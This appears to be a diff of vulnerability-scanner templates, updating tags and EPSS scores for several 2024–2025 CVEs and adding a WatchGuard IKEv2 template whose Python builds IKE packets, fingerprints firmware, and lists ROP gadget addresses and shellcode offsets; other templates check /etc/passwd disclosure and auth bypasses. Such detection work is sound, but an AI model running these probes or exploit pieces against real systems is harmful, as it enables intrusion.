     verified: true
     max-request: 2
     shodan-query: 'http.title:"InvoiceShelf"'
     fofa-query: 'title="InvoiceShelf"'
-  tags: cve,cve2024,invoiceshelf,rce,deserialization
+  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
 
 variables:
   marker: "{{randstr}}"
@@ -193,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -22,13 +22,13 @@ info:
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
     epss-score: 0.41406
-    epss-percentile: 0.97319
+    epss-percentile: 0.97235
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
     product: uptime-kuma
     vendor: uptime-kuma
-  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
+  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
 
 variables:
   username: "{{username}}"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4b0a0048304602210096260af4bceedc4785b9340cedbb504b42efa85cb8a6089f2e217d71caf44e7f022100dd4ff46529688be3704561cc24852e1f4b70d7885fa54ae482f1ecb555ee1e80:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -10,12 +10,12 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.37459
-    epss-percentile: 0.97077
+    epss-score: 0.36115
+    epss-percentile: 0.96904
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
-  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
+  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
 
 code:
   - engine:
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4b0a00483046022100dd4da0ca84aabed177c722b5b4497d36decd2c68c160d43c2071203cf090c5a70221008a1401936b9deef341792ab010e298c9de1045bf0f661200dbbdf6ec614f65a6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -2,7 +2,7 @@ id: CVE-2025-22457
 
 info:
   name: Ivanti Connect Secure - Stack-based Buffer Overflow
-  author: s4e-io
+  author: s4e-io,pussycat0x
   severity: critical
   description: |
     Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
@@ -21,8 +21,8 @@ info:
     cvss-score: 9.0
     cve-id: CVE-2025-22457
     cwe-id: CWE-121,CWE-787
-    epss-score: 0.75813
-    epss-percentile: 0.98866
+    epss-score: 0.76863
+    epss-percentile: 0.98898
     cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
   metadata:
     vendor: ivanti
@@ -31,12 +31,29 @@ info:
     fofa-query: title="ivanti connect secure"
     zoomeye-query: title:"ivanti connect secure"
     google-query: intitle:"ivanti connect secure"
-  tags: cve,cve2025,ivanti,intrusive,kev
+  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
 
+flow: http () && code()
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
+
+    stop-at-first-match: true
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body, "Ivanti Connect Secure")'
+          - 'status_code == 200'
+        condition: and
+
 code:
   - engine:
       - py
@@ -111,4 +128,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a00473045022100cd2e872db92d2f8b8fd16e46f950e8bb554ed6efe5a0f8b7d4491a9e8e6cdc2c02204b4f711198aef8e61c3378c023d7be0131eb7b6b40be33a24aa29d0960e0f693:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.13868
-    epss-percentile: 0.94062
+    epss-score: 0.17247
+    epss-percentile: 0.94744
   metadata:
     verified: true
     vendor: gitlab
@@ -35,7 +35,7 @@ info:
       - body="gitlab-ci.yml"
       - title="gitlab"
     google-query: intitle:"gitlab"
-  tags: cve,cve2025,saml,auth-bypass,gitlab,code
+  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
 
 code:
   - engine:
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a00473045022025dedaab7f1ebf59275bfd3bfd416f881099ceb139fae440920ccd04a5b0382e022100946ad965f773d3aa726d421ba1496c350b851de9cc18be7877d800290fb3c980:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,13 +20,13 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.6781
-    epss-percentile: 0.98529
+    epss-score: 0.53778
+    epss-percentile: 0.97866
   metadata:
     verified: true
     max-request: 1
     shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a0047304502202c0e1736b21b2b04c9e2bba10105fce2454bf000eafeb60c54440aa6ab8577e2022100dc310090bbdd573095c7bfc7b0ca9cfb7803850569eeb00d26ed930a6de7d09f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-54309
-    epss-score: 0.38408
-    epss-percentile: 0.97147
+    epss-score: 0.56973
+    epss-percentile: 0.98016
     cwe-id: CWE-287,CWE-362
     cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
   metadata:
@@ -33,7 +33,7 @@ info:
       - icon_hash="-1022206565"
     zoomeye-query: title:"crushftp"
     google-query: intitle:"crushftp"
-  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
+  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln
 
 variables:
   HOST: "{{Host}}"
@@ -200,4 +200,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 490a0046304402205b0dfb62d11dab3d77d04b1e37e892d0c735201d14c0cb0648eaf7d3d40135980220683d9b87c92553503a73c539fb3540c41bacfd0727e40296e48c926bc81ac76d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,8 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.16633
-    epss-percentile: 0.94672
+    epss-score: 0.28615
+    epss-percentile: 0.96307
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -29,7 +29,7 @@ info:
     product: allegra
     shodan-query: http.favicon.hash:"284403119"
     fofa-query: icon_hash="284403119"
-  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
 
 variables:
   email: "[email protected]"  # Change to a test account
@@ -115,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 4a0a004730450220712c79e80a0855131981f984d6b7ff7fe0528653c142dda494b13bb2d8199f37022100e1e66897866603dd86ad9ea8b6953ef1c68842b22183e6a7c08f0e06cdc6ed5c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-9242.yaml

@@ -0,0 +1,555 @@
+id: CVE-2025-9242
+
+info:
+  name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
+  author: pussycat0x,DhiyaneshDK,watchTowr
+  severity: critical
+  description: |
+    WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
+  impact: |
+    Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest Fireware OS version beyond 2025.1.
+  reference:
+    - https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
+    - https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-9242
+    cwe-id: CWE-787,CWE-362
+    epss-score: 0.055
+    epss-percentile: 0.89772
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    shodan-query: html:"Watchguard" html:"Authentication Server"
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import random
+      import enum
+      import hashlib
+      import hmac
+      import logging
+      import base64
+      import binascii
+      import re
+      import sys
+      import os
+      from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+      from cryptography.hazmat.backends import default_backend
+
+      # Configure logging
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+      BUILD_NUMBER = None
+
+      class WatchGuardFw:
+          ADDRESSES = {
+              '12.11.3': {
+                  'pop_rcx_ret': 0x4225ab,
+                  'mov_rax_rcx_ret': 0x5a4fac,
+                  'mov_rbp_rsp_call_rax': 0x42008d,
+                  'pop_r13_ret': 0x594ac4,
+                  'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
+                  'sub_rax_rcx_ret': 0x5a4fd8,
+                  'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
+                  'mov_rdi_rbx_call_rax': 0x42fce4,
+                  'pop_rsi_ret': 0x508ece,
+                  'pop_rdx_ret': 0x483a4a,
+                  'mov_rax_rax_ret': 0x5b145e,
+                  'jmp_rax': 0x41908f,
+                  'jmp_rbx': 0x449ba3,
+                  'offset_data': 0x00,
+                  'offset_shellcode': 0x30,
+                  'offset_stack': 0x340,
+                  'offset_stack_page_aligned': 0x0cc8,
+                  'offset_bind_mprotect': 0x5ea0,
+                  'got_bind': 0x658028,
+              },
+          }
+
+          @staticmethod
+          def version_tuple(v):
+              return tuple(map(int, (v.split("."))))
+
+      class PayloadType(enum.IntEnum):
+          NONE = 0
+          TRANSFORM = 3
+          SECURITY_ASSOCIATION = 33
+          KEY_EXCHANGE = 34
+          IDENTIFIER_INITIATOR = 35
+          IDENTIFIER_RESPONDER = 36
+          CERTIFICATE = 37
+          CERTIFICATE_REQUEST = 38
+          AUTHENTICATION = 39
+          NONCE = 40
+          NOTIFY = 41
+          DELETE = 42
+          VENDOR_ID = 43
+          TRAFFIC_SELECTOR_INITIATOR = 44
+          TRAFFIC_SELECTOR_RESPONDER = 45
+          ENCRYPTED = 46
+          CONFIGURATION = 47
+          EXTENSIBLE_AUTHENTICATION = 48
+
+      class ExchangeType(enum.IntEnum):
+          IKE_SA_INIT = 34
+          IKE_AUTH = 35
+          CREATE_CHILD_SA = 36
+          INFORMATIONAL = 37
+
+      class TransformType(enum.IntEnum):
+          ENCRYPTION_ALGORITHM = 1
+          PSEUDO_RANDOM_FUNCTION = 2
+          INTEGRITY_ALGORITHM = 3
+          DIFFIE_HELLMAN_GROUP = 4
+
+      class NotifyType(enum.IntEnum):
+          UNSUPPORTED_CRITICAL_PAYLOAD = 1
+          INVALID_IKE_SPI = 4
+          INVALID_MAJOR_VERSION = 5
+          INVALID_SYNTAX = 7
+          INVALID_MESSAGE_ID = 9
+          INVALID_SPI = 11
+          NO_PROPOSAL_CHOSEN = 14
+          INVALID_KE_PAYLOAD = 17
+          AUTHENTICATION_FAILED = 24
+          SINGLE_PAIR_REQUIRED = 34
+          NO_ADDITIONAL_SAS = 35
+          INTERNAL_ADDRESS_FAILURE = 36
+          FAILED_CP_REQUIRED = 37
+          TS_UNACCEPTABLE = 38
+          INVALID_SELECTORS = 39
+          INITIAL_CONTACT = 16384
+          SET_WINDOW_SIZE = 16385
+          ADDITIONAL_TS_POSSIBLE = 16386
+          IPCOMP_SUPPORTED = 16387
+          NAT_DETECTION_SOURCE_IP = 16388
+          NAT_DETECTION_DESTINATION_IP = 16389
+          COOKIE = 16390
+          USE_TRANSPORT_MODE = 16391
+          HTTP_CERT_LOOKUP_SUPPORTED = 16392
+          REKEY_SA = 16393
+          ESP_TFC_PADDING_NOT_SUPPORTED = 16394
+          NON_FIRST_FRAGMENTS_ALSO = 16395
+          MOBIKE_SUPPORTED = 16396
+          MULTIPLE_AUTH_SUPPORTED = 16404
+          REDIRECT_SUPPORTED = 16406
+          IKEV2_FRAGMENTATION_SUPPORTED = 16430
+          SIGNATURE_HASH_ALGORITHMS = 16431
+
+      class EncryptionAlgorithm(enum.IntEnum):
+          ENCR_DES_IV64 = 1
+          ENCR_DES = 2
+          ENCR_3DES = 3
+          ENCR_RC5 = 4
+          ENCR_IDEA = 5
+          ENCR_CAST = 6
+          ENCR_BLOWFISH = 7
+          ENCR_3IDEA = 8
+          ENCR_DES_IV32 = 9
+          RESERVED = 10
+          ENCR_NULL = 11
+          ENCR_AES_CBC = 12
+          ENCR_AES_CTR = 13
+          ENCR_AES_CCM_8 = 14
+          ENCR_AES_CCM_12 = 15
+          ENCR_AES_CCM_16 = 16
+          ENCR_AES_GCM_8 = 18
+          ENCR_AES_GCM_12 = 19
+          ENCR_AES_GCM_16 = 20
+          ENCR_NULL_AUTH_AES_GMAC = 21
+          P1619_XTS_AES = 22
+          ENCR_CAMELLIA_CBC = 23
+          ENCR_CAMELLIA_CTR = 24
+          ENCR_CAMELLIA_CCM_8 = 25
+          ENCR_CAMELLIA_CCM_12 = 26
+          ENCR_CAMELLIA_CCM_16 = 27
+          ENCR_CHACHA20_POLY1305 = 28
+          ENCR_AES_CCM_8_IIV = 29
+          ENCR_AES_GCM_16_IIV = 30
+          ENCR_CHACHA20_POLY1305_IIV = 31
+          ENCR_KUZNYECHIK_MGM_KTREE = 32
+          ENCR_MAGMA_MGM_KTREE = 33
+          ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
+          ENCR_MAGMA_MGM_MAC_KTREE = 35
+
+      class PseudoRandomFunction(enum.IntEnum):
+          PRF_HMAC_MD5 = 1
+          PRF_HMAC_SHA1 = 2
+          PRF_HMAC_TIGER = 3
+          PRF_AES128_XCBC = 4
+          PRF_HMAC_SHA2_256 = 5
+          PRF_HMAC_SHA2_384 = 6
+          PRF_HMAC_SHA2_512 = 7
+          PRF_AES128_CMAC = 8
+          PRF_HMAC_STREEBOG_512 = 9
+
+      class IntegrityAlgorithm(enum.IntEnum):
+          AUTH_HMAC_MD5_96 = 1
+          AUTH_HMAC_SHA1_96 = 2
+          AUTH_DES_MAC = 3
+          AUTH_KPDK_MD5 = 4
+          AUTH_AES_XCBC_96 = 5
+          AUTH_HMAC_MD5_128 = 6
+          AUTH_HMAC_SHA1_160 = 7
+          AUTH_AES_CMAC_96 = 8
+          AUTH_AES_128_GMAC = 9
+          AUTH_AES_192_GMAC = 10
+          AUTH_AES_256_GMAC = 11
+          AUTH_HMAC_SHA2_256_128 = 12
+          AUTH_HMAC_SHA2_384_192 = 13
+          AUTH_HMAC_SHA2_512_256 = 14
+
+      class DiffieHellmanGroup(enum.IntEnum):
+          DH_GROUP_2048_BIT_MODP = 14
+          DH_GROUP_768_BIT_MODP = 1
+          DH_GROUP_1024_BIT_MODP = 2
+          DH_GROUP_1536_BIT_MODP = 5
+          DH_GROUP_3072_BIT_MODP = 15
+          DH_GROUP_4096_BIT_MODP = 16
+          DH_GROUP_6144_BIT_MODP = 17
+          DH_GROUP_8192_BIT_MODP = 18
+          RANDOM_ECP_GROUP_256_BIT = 19
+          RANDOM_ECP_GROUP_384_BIT = 20
+          RANDOM_ECP_GROUP_521_BIT = 21
+          DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
+          DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
+          DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
+          RANDOM_ECP_GROUP_192_BIT = 25
+          RANDOM_ECP_GROUP_224_BIT = 26
+          BRAINPOOLP224R1 = 27
+          BRAINPOOLP256R1 = 28
+          BRAINPOOLP384R1 = 29
+          BRAINPOOLP512R1 = 30
+          CURVE25519 = 31
+          CURVE448 = 32
+          GOST3410_2012_256 = 33
+          GOST3410_2012_512 = 34
+          ML_KEM_512 = 35
+          ML_KEM_768 = 36
+          ML_KEM_1024 = 37
+
+      class IkePacker:
+          @staticmethod
+          def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
+              return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
+
+          @staticmethod
+          def payload_header(next_payload, payload, critical = 0):
+              return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
+
+          @staticmethod
+          def security_association(next_payload, proposal):
+              return IkePacker.payload_header(next_payload, proposal)
+
+          @staticmethod
+          def proposal(next_payload, number, id, transforms = [], spi = b''):
+              b_transforms = b''
+              for transform in transforms:
+                  if isinstance(transform, IkeTransform):
+                      b_transforms += transform.pack()
+                      continue
+                  b_transforms += transform
+              return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
+
+          @staticmethod
+          def key_exchange(next_payload, dh_group, data, reserved = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
+
+          @staticmethod
+          def nonce(next_payload, nonce):
+              return IkePacker.payload_header(next_payload, nonce)
+
+          @staticmethod
+          def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
+
+          @staticmethod
+          def vendor_id(next_payload, vendor_id):
+              return IkePacker.payload_header(next_payload, vendor_id)
+
+      class IkeTransform:
+          def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
+              self.next_payload = next_payload
+              self.transform_type = transform_type
+              self.reserved = reserved
+              self.transform_id = transform_id
+              self.transform_attributes = transform_attributes
+
+          def pack(self):
+              transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
+              if self.transform_attributes:
+                  transform += struct.pack('>I', self.transform_attributes)
+              return IkePacker.payload_header(self.next_payload, transform)
+
+      class IkeResponse:
+          def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
+              self.initiator_spi = initiator_spi
+              self.responder_spi = responder_spi
+              self.version = version
+              self.exchange_type = exchange_type
+              self.flags = flags
+              self.message_id = message_id
+              self.length = length
+              self.payloads = payloads
+
+          def get(self, type):
+              payloads = []
+              for payload in self.payloads:
+                  if payload['type'] == type:
+                      payloads.append(payload['payload'])
+              return payloads
+
+      class IkeUnpacker:
+          @staticmethod
+          def unpack_payload_header(data):
+              return struct.unpack('>BBH', data[:4])
+
+          @staticmethod
+          def unpack(response):
+              initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
+              raw_payloads = response[28:]
+
+              i = 0
+              payload_type = next_payload
+              payloads = []
+              while i < len(raw_payloads):
+                  next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
+                  payload = raw_payloads[i+4:i+payload_length]
+
+                  if payload_type == PayloadType.VENDOR_ID:
+                      payload = payload
+
+                  payloads.append({
+                      'type': payload_type,
+                      'critical': critical,
+                      'payload': payload
+                  })
+                  i += payload_length
+                  payload_type = next_payload
+
+              return IkeResponse(
+                  initiator_spi,
+                  responder_spi,
+                  version,
+                  exchange_type,
+                  flags,
+                  message_id,
+                  length,
+                  payloads
+              )
+
+      class IkeCrypto:
+          def __init__(self):
+              self.initiator_nonce = self.generate_nonce(32)
+              self.initiator_spi = random.randint(0, 0xffffffffffffffff)
+              self.responder_spi = 0x0000000000000000
+              self.client_private_key = None
+              self.client_public_key = None
+              self.client_public_key_bytes = None
+              self.generate_keys = self.dh_modp_14_generate_keys
+              self.generate_keys()
+
+          def generate_nonce(self, length=32):
+              return random.getrandbits(length * 8).to_bytes(length, 'big')
+
+          def dh_modp_14_generate_keys(self):
+              p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
+              self.p = int(p_hex, 16)
+              if self.p.bit_length() != 2048:
+                  self.p = self.p >> (self.p.bit_length() - 2048)
+              g = 2
+              self.client_private_key = random.randint(1, self.p - 1)
+              self.client_public_key = pow(g, self.client_private_key, self.p)
+              public_key_bit_length = self.client_public_key.bit_length()
+              public_key_byte_length = (public_key_bit_length + 7) // 8
+              if public_key_byte_length > 256:
+                  raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
+              self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
+
+      class IkeException(Exception):
+          pass
+
+      class IkeNoProposalChosenException(IkeException):
+          pass
+
+      class IkeInvalidKEPayloadException(IkeException):
+          pass
+
+      class Ike:
+          def __init__(self, ip, port, timeout = 5):
+              self.ip = ip
+              self.port = port
+              self.timeout = timeout
+              self.crypto = None
+              self.sock = None
+              self.reset()
+
+          @staticmethod
+          def update_request_length(request):
+              total_length = len(request)
+              return request[:24] + struct.pack('>I', total_length) + request[28:]
+
+          def reset(self):
+              if self.sock != None:
+                  self.close()
+              self.crypto = IkeCrypto()
+              self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              self.sock.settimeout(self.timeout)
+
+          def send(self, packet):
+              self.sock.sendto(packet, (self.ip, self.port))
+              response, addr = self.sock.recvfrom(65535)
+              return IkeUnpacker.unpack(response)
+
+          def close(self):
+              self.sock.close()
+              self.sock = None
+
+          def sa_init(self):
+              global FW_VERSION, BUILD_NUMBER
+              dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
+              key_exchange = self.crypto.client_public_key_bytes
+              transforms = [
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
+                  IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
+              ]
+
+              r = self.send(Ike.update_request_length(
+                  IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
+                  IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
+                  IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
+                  IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
+                  IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
+                  IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
+              ))
+
+              if FW_VERSION == None:
+                  vendors = r.get(PayloadType.VENDOR_ID)
+                  for vendor in vendors:
+                      if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
+                          try:
+                              watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
+                              match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
+                              if match:
+                                  FW_VERSION = match.group(1)
+                                  BUILD_NUMBER = match.group(2)
+
+                                  if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
+                                      return True, FW_VERSION, BUILD_NUMBER
+                                  else:
+                                      return False, FW_VERSION, BUILD_NUMBER
+                          except (UnicodeDecodeError, binascii.Error):
+                              continue
+
+              notifications = r.get(PayloadType.NOTIFY)
+              for notification in notifications:
+                  if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
+                      raise IkeNoProposalChosenException()
+                  if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
+                      raise IkeInvalidKEPayloadException()
+
+              return None, None, None
+
+      def test_connection(ip, port, timeout=20):
+          try:
+              sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              sock.settimeout(timeout)
+              sock.connect((ip, port))
+              sock.close()
+              return True
+          except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+              try:
+                  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                  sock.settimeout(timeout)
+                  result = sock.connect_ex((ip, port))
+                  sock.close()
+                  return result == 0
+              except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+                  return False
+
+      def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
+          global FW_VERSION, BUILD_NUMBER
+          FW_VERSION = None
+          BUILD_NUMBER = None
+
+          if not test_connection(ip, port, connection_timeout):
+              return False, None, None
+
